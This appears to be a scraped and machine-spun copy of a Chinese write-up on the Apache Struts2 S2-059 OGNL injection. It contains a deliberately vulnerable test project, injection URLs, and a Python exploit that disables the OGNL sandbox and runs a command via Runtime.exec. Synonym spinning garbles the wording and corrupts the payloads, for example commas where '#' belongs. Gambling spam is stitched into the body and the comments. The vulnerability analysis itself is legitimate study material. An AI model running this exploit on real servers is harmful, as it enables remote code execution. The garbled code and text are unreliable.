文章前言

2020年12月8日,Apache官方公布平安通告称Apache Struts2修复了一处ONGL表达式执行的平安破绽(S2-061),据相关平安职员披露该破绽是对S2-059沙盒的绕过,由于之前没有对S2-059举行过仔细的剖析又对S2-061产生了兴趣,以是就先有了本篇文章。

影响局限

Struts 2.0.0 - Struts 2.5.20

行使条件

  • 开启altSyntax功效
  • 标签id属性中存在表达式且可控

破绽概述

2020年8月13日,Apache官方公布通告称Apache Struts2由于在使用某些标签时会对标签属性值举行二次表达式剖析,在这种情况下若是标签属性值使用了类似%{payload}且payload的值为用户可以控制时,攻击者可以组织恶意payload参数,然后通过OGNL表达式执行从而导致RCE,纤细通告如下所示:
https://cwiki.apache.org/confluence/display/WW/S2-059
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第1张

前置知识

OGNL表达式

OGNL是Object-Graph Navigation Language的缩写,全称为工具图导航语言,是一种功效强大的表达式语言,它通过简朴一致的语法可以随便存取工具的属性或者挪用工具的方式,能够遍历整个工具的结构图,实现工具属性类型的转换等功效,Struts2中的ONGL有一个上下文(Context)观点,其实现者为ActionContext,结构示意图如下所示:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第2张

OGNL的特点

总体来说OGNL有如下特点:

  • 支持工具方式挪用,形式如:objName.methodName()
  • 支持类静态方式挪用和值接见,花样为@[类全名(包罗包路)]@[方式名|值名],例如:@java.lang.String@format(‘foo %s’, ‘bar’)或@tutorial.MyConstant@APP_NAME;
  • 支持赋值操作和表达式串联,例如:price=100, discount=0.8, calculatePrice(),该表达式会返回80
  • 接见OGNL上下文(OGNL context)和ActionContext
  • 操作聚集工具

OGNL的符号

OGNL表达式要连系Struts的标签库来使用,主要有,、%和$三个符号的使用:

','符号用法

','可用于接见非根元素(在Struts中值栈为根工具),这里,相当于ActionContext.getContext(),下表是几个ActionContext中常用的属性:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第3张
','可用于过滤和投影(projecting)聚集,例如:

persons.{?this.age>28}

','可用于组织Map

,{'foo1':'bar1','foo2':'bar2'}
%符号用法

%符号的用途是在标志的属性为字符串类型时,盘算OGNL表达式的值,类似js中的eval,这也是找寻OGNL表达式执行的要害点

$符号用法
  • 在国际化资源文件中,引用OGNL表达式
  • 在Struts 2配置文件中,引用OGNL表达式

Struts请求处置

Apache Struts2官方给出的Struts2请求处置流程图如下所示:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第4张
关于更多值栈信息以及OGNL和EL的区别可以移步这里:
https://www.cnblogs.com/huangting/p/11105051.html

破绽复现

浅易测试

下面构建了一个浅易的测试项目用于对该破绽举行复现与剖析,测试代码已上传至Github:
https://github.com/Al1ex/CVE-2019-0230
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第5张
S2059.jsp代码如下所示:

<%@ page
        language="java"
        contentType="text/html; charset=UTF-8"
        pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
    <title>S2059</title>
</head>
<body>
<s:a id="%{id}">SimpleTest</s:a>
</body>
</html>

Struts.xml如下所示:

,

联博以太坊

www.326681.com采用以太坊区块链高度哈希值作为统计数据,联博以太坊统计数据开源、公平、无任何作弊可能性。联博统计免费提供API接口,支持多语言接入。

,
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>

    <constant name="struts.devMode" value="false"/>
    <package name="default" namespace="/" extends="struts-default">
        <default-action-ref name="index"/>
        <action name="S2059" class="org.heptagram.action.IndexAction" method="Test">
            <result>S2059.jsp</result>
        </action>
    </package>

</struts>

IndexAction代码如下所示:

package org.heptagram.action;

import com.opensymphony.xwork2.ActionSupport;

public class IndexAction  extends ActionSupport {

    private String id;

    public String getId() {
        return id;
    }
    public void setId(String id) {
        this.id = id;
    }
    public String Test(){
        return SUCCESS;
    }
}

下载项目后使用IDEA导入项目,然后启动Tomcat(JDK 8u66\Tomcat 7.0.72版本\Struts 2.5.16版本):
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第6张
之后在浏览器中正常接见S2059.action并提交id参数值:

http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=1

电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第7张
之后组织如下payload再次接见,可以看到表达式被执行了:

http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=%25{8*8}

电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第8张

EXP测试

import requests
url = "http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059"
data1 = {
    "id": "%{(,context=,attr['struts.valueStack'].context).(,container=,context['com.opensymphony.xwork2.ActionContext.container']).(,ognlUtil=,container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(,ognlUtil.setExcludedClasses('')).(,ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(,context=,attr['struts.valueStack'].context).(,context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc.exe'))}"
}
res1 = requests.post(url, data=data1)
, print(res1.text)
res2 = requests.post(url, data=data2)
, print(res2.text)

电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第9张
执行效果:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第10张

破绽剖析

Struts2中的标签剖析由org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方式处置,以是我们在此处下断点举行调试:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第11张
在这里会首先挪用this.getStack()来获取值栈信息(这里的this视详细的标签而定):
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第12张
之后通过this.getBean建立一个Anchor工具然后将其注入com.opensymphony.xwork2.ActionContext.container,之后挪用this.populateParams();对标签属性举行赋值操作:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第13张
跟进this.populateParams方式,在这里会挪用父类的populateParams()方式举行参数赋值操作:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第14张
之后继续跟进,再次挪用父类的populateParams()方式,继续跟进查看:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第15张
之后继续挪用父类的populateParams()方式,继续跟进:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第16张
之后无操作返回:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第17张
最终在org\apache\struts\struts2-core\2.5.16\struts2-core-2.5.16.jar!\org\apache\struts2\views\jsp\ui\AbstractUITag.class的populateParams方式中举行参数的赋值操作,在这里我注重关注以下可控的id参数的赋值操作:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第18张
之后跟进uiBean.setId(this.id),在这里会首先判断id是否为null,若是不为null则挪用this.findString(id),这里的this为Anchor类实例:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第19张
之后挪用this.findValue()方式,继续跟进:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第20张
在findValue中会首先判断altSyntax()是否开启以及类型是否为String,由于altSyntax默认开启且当前type为string类型,以是会进入if语句,之后判断ComponentUtils.containsExpression(expr) :
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第21张
此时的expr完全知足条件,以是返回true:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第22张
之后执行TextParseUtil.translateVariables('%', expr, this.stack) ,继续跟进去:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第23张
继续跟进:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第24张
之后建立TextParser工具并挪用其evaluate:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第25张
evaluate的完整代码如下所示,在这里会截取%{}之内的id参数:

public Object evaluate(char[] openChars, String expression, ParsedValueEvaluator evaluator, int maxLoopCount) {
        Object result = expression = expression == null ? "" : expression;
        int pos = 0;
        char[] arr$ = openChars;
        int len$ = openChars.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            char open = arr$[i$];
            int loopCount = 1;
            String lookupChars = open + "{";

            while(true) {
                int start = expression.indexOf(lookupChars, pos);
                if (start == -1) {
                    ++loopCount;
                    start = expression.indexOf(lookupChars);
                }

                if (loopCount > maxLoopCount) {
                    break;
                }

                int length = expression.length();
                int x = start + 2;
                int count = 1;

                while(start != -1 && x < length && count != 0) {
                    char c = expression.charAt(x++);
                    if (c == '{') {
                        ++count;
                    } else if (c == '}') {
                        --count;
                    }
                }

                int end = x - 1;
                if (start == -1 || end == -1 || count != 0) {
                    break;
                }

                String var = expression.substring(start + 2, end);
                Object o = evaluator.evaluate(var);
                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                String middle = null;
                if (o != null) {
                    middle = o.toString();
                    if (StringUtils.isEmpty(left)) {
                        result = o;
                    } else {
                        result = left.concat(middle);
                    }

                    if (StringUtils.isNotEmpty(right)) {
                        result = result.toString().concat(right);
                    }

                    expression = left.concat(middle).concat(right);
                } else {
                    expression = left.concat(right);
                    result = expression;
                }

                pos = (left != null && left.length() > 0 ? left.length() - 1 : 0) + (middle != null && middle.length() > 0 ? middle.length() - 1 : 0) + 1;
                pos = Math.max(pos, 1);
            }
        }

        return result;
    }
}

电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第26张
之后通过值栈查找并将其返回:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第27张
最后取得id的值%{88},那么有人可能会问为什么这里的while循环中不直接二次剖析表达式呢?由于这里有一个maxLoopCount限制,也就是说表达式只能执行一次,以是无法继续剖析%{88}:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第28张
希望扑空,于是灰头土脸的返回到doStartTag方式中,继续向下跟,在这里会挪用this.component.start()方式,之后跟进去看看:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第29张
在这里挪用了父类的start方式,继续跟进:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第30张
之后再次挪用父类的start方式,继续跟进:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第31张
在父类的start方式中直接返回一个true....
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第32张
之后执行this.evaluateParams()方式,跟进去查看一番:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第33张
整个evaluateParams方式代码如下所示,可以看到的是这里的evaluateParams也是用于剖析参数的:

public void evaluateParams() {
        String templateDir = this.getTemplateDir();
        String theme = this.getTheme();
        this.addParameter("templateDir", templateDir);
        this.addParameter("theme", theme);
        this.addParameter("template", this.template != null ? this.findString(this.template) : this.getDefaultTemplate());
        this.addParameter("dynamicAttributes", this.dynamicAttributes);
        this.addParameter("themeExpansionToken", this.uiThemeExpansionToken);
        this.addParameter("expandTheme", this.uiThemeExpansionToken + theme);
        String name = null;
        String providedLabel = null;
        if (this.key != null) {
            if (this.name == null) {
                this.name = this.key;
            }

            if (this.label == null) {
                providedLabel = TextProviderHelper.getText(this.key, this.key, this.stack);
            }
        }

        if (this.name != null) {
            name = this.findString(this.name);
            this.addParameter("name", name);
        }

        if (this.label != null) {
            this.addParameter("label", this.findString(this.label));
        } else if (providedLabel != null) {
            this.addParameter("label", providedLabel);
        }

        if (this.labelSeparator != null) {
            this.addParameter("labelseparator", this.findString(this.labelSeparator));
        }

        if (this.labelPosition != null) {
            this.addParameter("labelposition", this.findString(this.labelPosition));
        }

        if (this.requiredPosition != null) {
            this.addParameter("requiredPosition", this.findString(this.requiredPosition));
        }

        if (this.errorPosition != null) {
            this.addParameter("errorposition", this.findString(this.errorPosition));
        }

        if (this.requiredLabel != null) {
            this.addParameter("required", this.findValue(this.requiredLabel, Boolean.class));
        }

        if (this.disabled != null) {
            this.addParameter("disabled", this.findValue(this.disabled, Boolean.class));
        }

        if (this.tabindex != null) {
            this.addParameter("tabindex", this.findString(this.tabindex));
        }

        if (this.onclick != null) {
            this.addParameter("onclick", this.findString(this.onclick));
        }

        if (this.ondblclick != null) {
            this.addParameter("ondblclick", this.findString(this.ondblclick));
        }

        if (this.onmousedown != null) {
            this.addParameter("onmousedown", this.findString(this.onmousedown));
        }

        if (this.onmouseup != null) {
            this.addParameter("onmouseup", this.findString(this.onmouseup));
        }

        if (this.onmouseover != null) {
            this.addParameter("onmouseover", this.findString(this.onmouseover));
        }

        if (this.onmousemove != null) {
            this.addParameter("onmousemove", this.findString(this.onmousemove));
        }

        if (this.onmouseout != null) {
            this.addParameter("onmouseout", this.findString(this.onmouseout));
        }

        if (this.onfocus != null) {
            this.addParameter("onfocus", this.findString(this.onfocus));
        }

        if (this.onblur != null) {
            this.addParameter("onblur", this.findString(this.onblur));
        }

        if (this.onkeypress != null) {
            this.addParameter("onkeypress", this.findString(this.onkeypress));
        }

        if (this.onkeydown != null) {
            this.addParameter("onkeydown", this.findString(this.onkeydown));
        }

        if (this.onkeyup != null) {
            this.addParameter("onkeyup", this.findString(this.onkeyup));
        }

        if (this.onselect != null) {
            this.addParameter("onselect", this.findString(this.onselect));
        }

        if (this.onchange != null) {
            this.addParameter("onchange", this.findString(this.onchange));
        }

        if (this.accesskey != null) {
            this.addParameter("accesskey", this.findString(this.accesskey));
        }

        if (this.cssClass != null) {
            this.addParameter("cssClass", this.findString(this.cssClass));
        }

        if (this.cssStyle != null) {
            this.addParameter("cssStyle", this.findString(this.cssStyle));
        }

        if (this.cssErrorClass != null) {
            this.addParameter("cssErrorClass", this.findString(this.cssErrorClass));
        }

        if (this.cssErrorStyle != null) {
            this.addParameter("cssErrorStyle", this.findString(this.cssErrorStyle));
        }

        if (this.title != null) {
            this.addParameter("title", this.findString(this.title));
        }

        if (this.parameters.containsKey("value")) {
            this.parameters.put("nameValue", this.parameters.get("value"));
        } else if (this.evaluateNameValue()) {
            Class valueClazz = this.getValueClassType();
            if (valueClazz != null) {
                if (this.value != null) {
                    this.addParameter("nameValue", this.findValue(this.value, valueClazz));
                } else if (name != null) {
                    String expr = this.completeExpressionIfAltSyntax(name);
                    this.addParameter("nameValue", this.findValue(expr, valueClazz));
                }
            } else if (this.value != null) {
                this.addParameter("nameValue", this.findValue(this.value));
            } else if (name != null) {
                this.addParameter("nameValue", this.findValue(name));
            }
        }

        Form form = (Form)this.findAncestor(Form.class);
        this.populateComponentHtmlId(form);
        if (form != null) {
            this.addParameter("form", form.getParameters());
            if (name != null) {
                List<String> tags = (List)form.getParameters().get("tagNames");
                tags.add(name);
            }
        }

        if (this.tooltipConfig != null) {
            this.addParameter("tooltipConfig", this.findValue(this.tooltipConfig));
        }

        if (this.tooltip != null) {
            this.addParameter("tooltip", this.findString(this.tooltip));
            Map tooltipConfigMap = this.getTooltipConfig(this);
            if (form != null) {
                form.addParameter("hasTooltip", Boolean.TRUE);
                Map overallTooltipConfigMap = this.getTooltipConfig(form);
                overallTooltipConfigMap.putAll(tooltipConfigMap);
                Iterator i$ = overallTooltipConfigMap.entrySet().iterator();

                while(i$.hasNext()) {
                    Object o = i$.next();
                    Entry entry = (Entry)o;
                    this.addParameter((String)entry.getKey(), entry.getValue());
                }
            } else {
                LOG.warn("No ancestor Form found, javascript based tooltip will not work, however standard HTML tooltip using alt and title attribute will still work");
            }

            String jsTooltipEnabled = (String)this.getParameters().get("jsTooltipEnabled");
            if (jsTooltipEnabled != null) {
                this.javascriptTooltip = jsTooltipEnabled;
            }

            String tooltipIcon = (String)this.getParameters().get("tooltipIcon");
            if (tooltipIcon != null) {
                this.addParameter("tooltipIconPath", tooltipIcon);
            }

            if (this.tooltipIconPath != null) {
                this.addParameter("tooltipIconPath", this.findString(this.tooltipIconPath));
            }

            String tooltipDelayParam = (String)this.getParameters().get("tooltipDelay");
            if (tooltipDelayParam != null) {
                this.addParameter("tooltipDelay", tooltipDelayParam);
            }

            if (this.tooltipDelay != null) {
                this.addParameter("tooltipDelay", this.findString(this.tooltipDelay));
            }

            if (this.javascriptTooltip != null) {
                Boolean jsTooltips = (Boolean)this.findValue(this.javascriptTooltip, Boolean.class);
                this.addParameter("jsTooltipEnabled", jsTooltips.toString());
                if (form != null) {
                    form.addParameter("hasTooltip", jsTooltips);
                }

                if (this.tooltipCssClass != null) {
                    this.addParameter("tooltipCssClass", this.findString(this.tooltipCssClass));
                }
            }
        }

        this.evaluateExtraParams();
    }

在该函数中的if....else判断语句之外还挪用了populateComponentHtmlId方式,之后更进去查看一番:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第34张
之后跟进findStringIfAltSyntax,此时的altSyntax默以为true,以是执行findString(expr),感受是不是和之前的第一次剖析有点像呢?
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第35张
之后继续跟进,发现回去挪用findValue(),这里的this为Anchor,和第一次表达式剖析完全相同,我们这里照样继续跟进一下吧:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第36张
之后挪用containsExpression(expr):
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第37张
知足条件返回true,以是再一次的挪用了TextParseUtil.translateVariables:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第38张
之后和第一次表达式剖析一样一直往下面跟,最后来到org\apache\struts\struts2-core\2.5.16\struts2-core-2.5.16.jar!\com\opensymphony\xwork2\util\OgnlTextParser.class的evaluate方式中,在这里依旧会执行一次表达式剖析,不外和第一次不一样的是var的值从id变为了88,而效果o也从%{88}变为了64,从而导致OGNL表达式二次剖析:
电银付app下载(dianyinzhifu.com):S2-059 RCE浅析 安全技术 漏洞分析 第39张

文末小结

每次Struts2被爆出新的平安破绽时,都市包罗新的OGNL表达式代码执行点和对Struts2沙盒增强防护的绕过,以是每一轮补丁除了修复OGNL表达式的执行点,也会再次强化沙盒,补丁主要通过struts-default.xml来限制OGNL使用到的类和包,以及修改种种Bean函数的接见控制符来实现,在Struts2.5.22的Struts-default.xml中可以看到在这里限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder这几个类接见,导致破绽行使时无法使用组织函数、历程建立函数、类加载器等方式执行代码,同时也限制com.opensymphony.xwork2.ognl这个包的接见,导致破绽行使时无法接见和修改_member_access,context等变量,详细如下所示:

<constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                sun.misc.Unsafe,
                com.opensymphony.xwork2.ActionContext" />

    <!-- this must be valid regex, each '.' in package name must be escaped! -->
    <!-- it's more flexible but slower than simple string comparison -->
    <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->

    <!-- this is simpler version of the above used with string comparison -->
    <constant name="struts.excludedPackageNames"
              value="
                ognl.,
                java.io.,
                java.net.,
                java.nio.,
                javax.,
                freemarker.core.,
                freemarker.template.,
                freemarker.ext.jsp.,
                freemarker.ext.rhino.,
                sun.misc.,
                sun.reflect.,
                javassist.,
                org.apache.velocity.,
                org.objectweb.a *** .,
                org.springframework.context.,
                com.opensymphony.xwork2.inject.,
                com.opensymphony.xwork2.ognl.,
                com.opensymphony.xwork2.security.,
                com.opensymphony.xwork2.util." />

关于其绕过(S2-061)的剖析后期再找时间献上~

平安建议

升级到struts最新版本

参考链接

https://cwiki.apache.org/confluence/display/ww/s2-059
http://blog.topsec.com.cn/struts2-s2-059-破绽剖析/
https://github.com/vulhub/vulhub/blob/master/struts2/s2-059/README.zh-cn.md


环球UG声明:该文看法仅代表作者自己,与本平台无关。转载请注明:电银付app下载(dianyinzhifu.com):S2-059 RCE浅析
发布评论

分享到:

日照网站建设:大乐透020期 大底剖析 看好579尾出号 后区单挑一组蓝号
2 条回复
  1. 电银付免费激活码
    电银付免费激活码
    (2021-01-01 00:02:55) 1#

    Allbet欧博官网欢迎进入allbet欧博官网。allbet欧博官网开放ALLBET欧博真人客户端、Allbet代理网页版、Allbet会员网页版、Allbet会员注册、Allbet代理开户、Allbet电脑客户端下载、Allbet手机版下载等业务。看文居然成瘾,哈哈

  2. 皇冠APP下载
    皇冠APP下载
    (2021-01-26 00:01:15) 2#

    乌海在线乌海在线站点有各种乌海信息的最新在线,24小时持续不断更新,只为及时将您需要的传达给您,站内有公交查询、生活缴费、人才招聘以及最全的教育信息,带给您最实惠、最方便的信息互换,联系方式点击级取,站内完全免费,我们一心一意只为乌海乃至全内蒙的网民服务,力求您的满意与常驻。真是,很认真的作品

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。